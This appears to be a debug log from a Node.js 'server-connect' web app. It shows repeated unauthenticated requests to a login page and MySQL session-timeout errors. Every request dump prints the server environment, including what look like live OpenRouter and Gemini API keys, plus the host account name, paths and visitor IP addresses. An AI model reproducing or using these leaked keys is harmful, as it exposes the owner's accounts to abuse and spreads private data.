    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.227.114.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T18:04:47.927Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.227.114.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.227.114.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T18:04:47.957Z server-connect:router Serving templateView /login/
2026-04-14T18:04:47.958Z server-connect:app Executing action step identify
2026-04-14T18:04:47.958Z server-connect:app options: { provider: 'security' }
2026-04-14T18:04:47.958Z server-connect:auth No login cookie found
2026-04-14T18:04:47.958Z server-connect:output identity: false
2026-04-14T18:04:47.958Z server-connect:router Render template layouts/authentication
2026-04-14T18:04:47.958Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.227.114.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T18:04:47.957Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.227.114.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.227.114.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T18:04:47.997Z server-connect:router Serving templateView /login
2026-04-14T18:04:47.997Z server-connect:app Executing action step identify
2026-04-14T18:04:47.997Z server-connect:app options: { provider: 'security' }
2026-04-14T18:04:47.997Z server-connect:auth No login cookie found
2026-04-14T18:04:47.997Z server-connect:output identity: false
2026-04-14T18:04:47.997Z server-connect:router Render template layouts/authentication
2026-04-14T18:04:47.998Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.227.114.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T18:04:47.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.227.114.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.227.114.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T18:04:48.067Z server-connect:router Serving templateView /login
2026-04-14T18:04:48.067Z server-connect:app Executing action step identify
2026-04-14T18:04:48.067Z server-connect:app options: { provider: 'security' }
2026-04-14T18:04:48.068Z server-connect:auth No login cookie found
2026-04-14T18:04:48.068Z server-connect:output identity: false
2026-04-14T18:04:48.068Z server-connect:router Render template layouts/authentication
2026-04-14T18:04:48.068Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.227.114.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T18:04:48.067Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.227.114.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.227.114.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T18:04:49.226Z server-connect:router Serving templateView /login/
2026-04-14T18:04:49.226Z server-connect:app Executing action step identify
2026-04-14T18:04:49.226Z server-connect:app options: { provider: 'security' }
2026-04-14T18:04:49.226Z server-connect:auth No login cookie found
2026-04-14T18:04:49.226Z server-connect:output identity: false
2026-04-14T18:04:49.226Z server-connect:router Render template layouts/authentication
2026-04-14T18:04:49.226Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    connection: 'Keep-Alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.227.114.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T18:04:49.226Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.227.114.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.google.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.227.114.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-14 19:19:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-14 19:19:49' as DATETIME)"
}
2026-04-14T19:57:58.491Z server-connect:router Serving templateView /
2026-04-14T19:57:58.493Z server-connect:app Executing action step identify
2026-04-14T19:57:58.493Z server-connect:app options: { provider: 'security' }
2026-04-14T19:57:58.493Z server-connect:auth No login cookie found
2026-04-14T19:57:58.493Z server-connect:output identity: false
2026-04-14T19:57:58.493Z server-connect:app Executing action step restrict
2026-04-14T19:57:58.493Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-14T19:57:58.493Z server-connect:output restrict: undefined
2026-04-14T19:57:58.636Z server-connect:router Serving templateView /login
2026-04-14T19:57:58.636Z server-connect:app Executing action step identify
2026-04-14T19:57:58.636Z server-connect:app options: { provider: 'security' }
2026-04-14T19:57:58.636Z server-connect:auth No login cookie found
2026-04-14T19:57:58.636Z server-connect:output identity: false
2026-04-14T19:57:58.636Z server-connect:router Render template layouts/authentication
2026-04-14T19:57:58.637Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'Keep-Alive',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US',
    'x-forwarded-for': '205.169.39.234',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T19:57:58.636Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.169.39.234',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'Keep-Alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    'HTTP_X_FORWARDED-FOR': '205.169.39.234',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-14T19:58:05.948Z server-connect:router Serving templateView /
2026-04-14T19:58:05.948Z server-connect:app Executing action step identify
2026-04-14T19:58:05.948Z server-connect:app options: { provider: 'security' }
2026-04-14T19:58:05.949Z server-connect:auth No login cookie found
2026-04-14T19:58:05.949Z server-connect:output identity: false
2026-04-14T19:58:05.949Z server-connect:app Executing action step restrict
2026-04-14T19:58:05.949Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-14T19:58:05.949Z server-connect:output restrict: undefined
2026-04-14T19:58:06.095Z server-connect:router Serving templateView /login
2026-04-14T19:58:06.095Z server-connect:app Executing action step identify
2026-04-14T19:58:06.095Z server-connect:app options: { provider: 'security' }
2026-04-14T19:58:06.095Z server-connect:auth No login cookie found
2026-04-14T19:58:06.095Z server-connect:output identity: false
2026-04-14T19:58:06.095Z server-connect:router Render template layouts/authentication
2026-04-14T19:58:06.095Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US',
    'x-forwarded-for': '205.169.39.234',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-15T19:58:06.094Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.169.39.234',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    'HTTP_X_FORWARDED-FOR': '205.169.39.234',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-15 02:43:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
